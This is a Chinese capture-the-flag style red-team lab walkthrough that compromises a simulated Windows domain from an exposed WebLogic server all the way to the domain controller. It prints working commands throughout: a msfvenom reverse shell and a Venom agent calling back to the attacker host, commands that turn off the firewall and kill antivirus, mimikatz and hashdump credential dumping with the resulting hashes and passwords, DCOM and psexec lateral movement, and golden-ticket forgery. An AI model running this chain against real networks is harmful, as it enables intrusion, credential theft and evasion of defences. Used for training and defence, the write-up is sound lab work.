赞
踩
ATT&CK红队评估(二)
nmap -sV -O -p 1-65535 192.168.145.150
发现开放防火墙是不能使用ping的
命令换成
nmap -sV 192.168.145.150
或者 -A
也是可以的
端口开放的比较多还是
可以看出这个web服务器开放的RPC服务比较多 ,在寻找RPC的漏洞时,发现RPC还可以利用来提权
然后同时发现是win2008 R2 系统是否存在MS08-067 经典漏洞利用呢,尝试一波
看来并不存在这个漏洞或许打了补丁防火墙子内的
再次尝试 80 端口 和 7001 端口
白版
没有啥子数据啊
对其进行目录扫描 ,这种白板也是不能放过的
dirsearch -u http://192.168.145.150
还是没有啥发现,只存在于一个/aspnet_client/ 目录,这个目录是IIS下,常有的一个目录文件
该文件夹中含有集成了 ASP.NET 的“SmartNavigation”功能 的 javascript。如果启用 SmartNavigation,网页设计人员就可以在页面以及其他内容之间保持滚动条和元素焦点的位置。
aspnet_client 是虚拟根 Web 应用程序目录,该目录是当您安 装 .NET Framework SDK 或 Visual Studio .NET 时在您的计算机上创建的。此文件不占用户空间。
7001 端口众所周知是weblogic的中间件的常用端口
对其进行端口扫描:
dirsearch -u http://192.168.145.150:7001
[03:32:13] 200 - 0B - /bea_wls_deployment_internal/DeploymentService
[03:32:13] 200 - 0B - /bea_wls_internal/HTTPClntRecv
[03:32:15] 302 - 285B - /bea_wls_internal -> http://192.168.145.150:7001/bea_wls_in
[03:32:15] 200 - 49B - /bea_wls_internal/
[03:32:15] 200 - 0B - /bea_wls_internal/iiop/ClientRecvte
[03:32:30] 302 - 305B - /console/ -> http://192.168.145.150:7001/console/login/LoginF
[03:32:30] 302 - 267B - /console -> http://192.168.145.150:7001/console/
[03:34:24] 200 - 855B - /uddi/uddilistener
既然是Weblogic中间件 ,可能是存在漏洞的,毕竟weblogic漏洞挺多的
使用漏洞验证工具 去验证是否存在漏洞
存在漏洞还是有几个的
[15:42:54][INFO] [+][CVE-2020-2883][192.168.145.150:7001] Exists vulnerability!
[15:42:54][INFO] [+][CVE-2020-2555][192.168.145.150:7001] Exists vulnerability!
[15:42:51][INFO] [+][CVE-2020-14750][192.168.145.150:7001] Exists vulnerability!
[15:42:51][INFO] [+][CVE-2019-2729][192.168.145.150:7001] Exists vulnerability!
[15:42:50][INFO] [+][CVE-2019-2725][192.168.145.150:7001] Exists vulnerability!
............
漏洞既然这么多,我这里使用GUI的漏洞利用工具去获取shell
使用 CVE-2016-0638 可以直接写入命令,
获取shell 使用另外一款weblogic的工具注入内存或者shell
使用蚁剑去连接就ok
Weblogic利用工具链接
v4.0.1-godzilla https://github.com/BeichenDream/Godzilla/releases/tag/v4.0.1-godzilla 哥斯拉 Behinder_v4.0.6 冰蝎 https://github.com/rebeyond/Behinder/releases/tag/Behinder_v4.0.6 Weblogic一键漏洞检测工具,V1.5 WeblogicScan https://github.com/rabbitmask/WeblogicScan weblogicScaner https://github.com/0xn0ne/weblogicScanner Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行 https://github.com/sp4zcmd/WeblogicExploit-GUI/releases/tag/WeblogicExploit-GUI WeblogicTool_1.1.jar 深信服深蓝实验室天威战队 https://github.com/KimJun1010/WeblogicTool/releases/tag/v1.1
如果是写shell的话要写在war 目录下(百度得之)
生成msfvenom木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.145.130 LPORT=1111 -f exe > win08.exe
上传上去
设置 监听
运行 win08.exe shell文件
Run 运行获取shell
ping 域
systeminfo // 查看操作系统信息
echo %PROCESSOR_ARCHITECTURE% // 查看系统体系结构
net user // 查看本地用户
net localgroup administrators // 查看本地管理员组(通常包含域用户)
迁移进程
ps -ef | grep svchost.exe
使用这个PID为 636的进程
migrate 636
查看权限已经是system权限了
本机基本信息搜集可以得知
IP 192.168.145.150 10.10.10.80 内网网卡 域控 de1ay.com 10.10.10.10 administrator 权限 用户/组 : Administrator de1ay DE1AY\Domain 补丁: [01]: KB2999226 [02]: KB958488 [03]: KB976902
net config workstation // 查看当前计算机名,全名,用户名,系统版本,工作站域,登陆的域等
net view /domain // 查看域
net time /domain // 主域服务器会同时作为时间服务器
net user /domain // 查看域用户
net group /domain // 查看域内用户组列表
net group "domain computers" /domain // 查看域内的机器
net group "domain controllers" /domain // 查看域控制器组
net group "Enterprise Admins" /domain // 查看域管理员组
存在防火墙 的原因可能是 查询不到
查看主域
查看域内用户
还存在 krbtgt 用户,可能会用到票据把
查看域内用户组列表
查看域内机器
查看域管理员组
net group"Enterprise Admins"/domain
run post/windows/manage/enable_rdp
但是好像没啥鸟用啊
查看进程列表tasklist /v查看杀软及相关进程服务
tasklist /v
存在360
常见杀软进程
进程名 | 杀软 |
---|---|
360SD.exe | 360杀毒 |
HipsMain.exe | 火绒 |
SafeDog* | 安全狗 |
D_Safe* | D盾 |
yunsuo* | 云锁 |
hws* | 护卫神 |
avp.exe | 卡巴斯基 |
avcenter.exe | 小红伞 |
Mcshield.exe | _Mc_Afee |
QQPCRTP.exe | QQ电脑管家 |
hids | 主机防护类产品 |
因为老掉线,也可能是杀软的原因给杀了
netsh advfirewall set allprofiles state off
杀掉 360的进程
ps | grep 360
kill 2988
.......
查看域内主机IP地址
使用MSF我觉得比for 循环快一点
use post/windows/gather/arp_scanner
set session 1
set rhosts 10.10.10.1-255
run
[+] IP: 10.10.10.1 MAC 00:50:56:c0:00:01 (VMware, Inc.)
[+] IP: 10.10.10.10 MAC 00:0c:29:5c:b3:f1 (VMware, Inc.)
[+] IP: 10.10.10.80 MAC 00:0c:29:a7:38:83 (VMware, Inc.)
[+] IP: 10.10.10.201 MAC 00:0c:29:e3:1b:93 (VMware, Inc.)
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
de1ay:1000:aad3b435b51404eeaad3b435b51404ee:570a9a65db8fba761c1008a51d4c95ab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
de1ay : Admin@123
上传mimikatz
因为已经关掉360了就不会被杀掉,不然需要做免杀(还不会免杀 …)
启动 提升权限 抓取密码
mimitakz.exe
privilege::debug
sekurlsa::logonPasswords
发现存在一个问题
ERROR kuhl_m_sekurlsa_acquireLSA ; mimikatz x86 cannot access x64 process
mimikatz模块需要两个条件:
1.权限Admistrator或system;
2.支持32/64位,但默认加载32位,对于64位很多模块无法默认加载,需要把meterpreter进程迁移到一个64位程序的进程中,才能正常使用。
help kiwi
列举所有凭据:creds_all
列举所有kerberos凭据:creds_kerberos
调用kiwi_cmd执行mimikatz命令:kiwi_cmd sekurlsa::logonpasswords
主域: DC.de1ay.com 域用户 ------------------------------------------------------------------------------- Administrator de1ay Guest krbtgt mssql 域内机器 DC$ WEB$ PC$ 域管理员 Administrator 存在杀软 360 防火墙 内网主机IP地址 10.10.10.10 域控 10.10.10.80 WEB 10.10.10.201 PC WEB 主机 密码 de1ay Admin@123 域内: * Username : Administrator * Domain : DE1AY * Password : 1qaz@WSX * Username : mssql * Domain : DE1AY * Password : 1qaz@WSX
上传 Venom
Kali
./admin_linux_x64 -lport 2222
win08
agent.exe -rhost 192.168.145.130 -rport 2222
接收到之后连接
设置socks 3333端口
使用nmap 查看是否开启 445,3389端口
这里需要注意的事nmap的ping是依据icmp包进行传输的。
而proxychains无法代理icmp包。
所以nmap + ip地址是无法进行探测的
开启的
使用rdeskstop 去访问看看
控制WEB主机与PC建立一个ipc$连接:
net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator
新生成一个msf木马win.exe,上传到WEB主机上,然后在WEB主机上执行命令,将木马复制到远程主机PC上:
copy win.exe \\10.10.10.201\C$
然后再meterpreter中载入powershell模块:
load powershell // 载入powershell模块
powershell_shell // 进入powershell交互模式d
在powershell里面执行如下命令,控制WEB主机使用DCOM在远程机器PC上执行刚刚上传到PC主机C盘里的木马:
结果全是报错。。。。。
方法一
$com=[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","1.1.1.1"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimized")
方法二
$com=[Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")
$obj=[System.Activator]::CreateInstance($com)
$item=$obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
方法三
$com=[Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")
$obj=[System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
我们这里的使用方式是使用DCOM去运行 win,exe 文件
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.201")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.item()
$item.Document.Application.ShellExecute("cmd.exe","/c c:win.exe","c:\windows\system32",$null,0)
既然此方法不通,再尝试使用MS17-010
设置MSF代理
使用MS17-010 失败
其实还有个更加简单的方法 ,不是已经获取到密码了 直接域用户远程登录 ,点击win.exe 返回shell
点击win 就可以获取权限
这样就成功返回shell了
但是这样获取的权限较低了
使用MS16-016 提权成功
直接利用msf的exploit/windows/smb/psexec模块进行哈希传递
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set SMBUser administrator
set SMBPass 1qaz@WSX
run
结果全是超时,存在防火墙啊
使用CS的psexec
创建 SMB监听
成功获取到shell
SYSTEM权限
黄金票据是伪造票据授予票据(TGT),也被称为认证票据,TGT仅用于向域服务器上的密钥分配中心(KDC)证明用户已经被其他的域控制器认证
黄金票据的条件
黄金票据可以在拥有普通域用户权限和krbtgt账户的hash的情况下用来获取域管理员权限,上面已经获取了域控的system权限了,还可以使用黄金票据做权限维持,当域控制器权限掉了之后,在通过域内其他任意机器伪造票据重新获取最高权限
首先抓取krbtgt用户的Hash值并获取域sid
hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::
de1ay:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
mssql:2103:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:a3e8703c012b09dec6b81745e03d335d:::
PC$:1105:aad3b435b51404eeaad3b435b51404ee:936b1a016012e78dfe4214e993402399:::
WEB$:1603:aad3b435b51404eeaad3b435b51404ee:cdf7ecbd5506727d008792636adad3c4:::
logonpasswords
privilege::debug
lsadump::lsa /patch // 专用于在域控制器上导出用户密码或hash
获的的数据
用户 | de1ay |
---|---|
域名 | de1ay.com |
域SID | S-1-5-21-2756371121-2868759905-3853650604 |
域的krbtgt账户htlm密码哈希 | 82dfc71b72a11ef37d663047bc2088fb |
生成前先清空票据
kerberos::purge //清空所有票据
手动创建票据
# kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
kerberos::golden /user:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:ticket.kirbi
生成TGT凭证ticket.kirbi成功,名为ticket.kirbi,然后再在mimikatz中将凭证ticket.kirbi注入进去:
kerberos::ptt ticket.kirbi
导入之后就可以使用IPC,Psexec 获取shell
PsExec 上传:https://github.com/EliteLoser/Invoke-PsExec
github地址:
PsExec.exe \\10.10.10.10 cmd.exe
使用dir
一开始使用域名不知道为什么有问题一直不行,使用msf里面的shell的时候好像使用psexec 不行。。。
/// 总结 :
外网打点 ,weblogic 虽然是使用自动化工具,写上去内存马了,但是不知道这个weblogic的绝对地址 ,
百度得知,weblogic写shell 一般是写在war ,或者 image 下的
贴个靶机的绝对路径C:\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls_internal\9j4dqk\war>
这是连接内存马的地址
http://192.168.145.150:7001/bea_wls_internal/index.html?size=1
如果是administrator权限的话,是可能可以getsystem 或者查看是否存在system权限的 进程,进行迁移提权的
,虽然我不会免杀,但是这个 360 好像用处不大,倒是这个防火墙有点难搞有时候,连接上了很爱断开连接,而且可以使用MS17010打PC,但是因为防火墙打不了。
认识到了DCOM 方法去执行命令,弹shell ,但是不知道我这里为啥行不通 ,没找到原因。。。
对票据还是不太收悉,要加强多看看 多练练啊 ,权限维持不太会。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。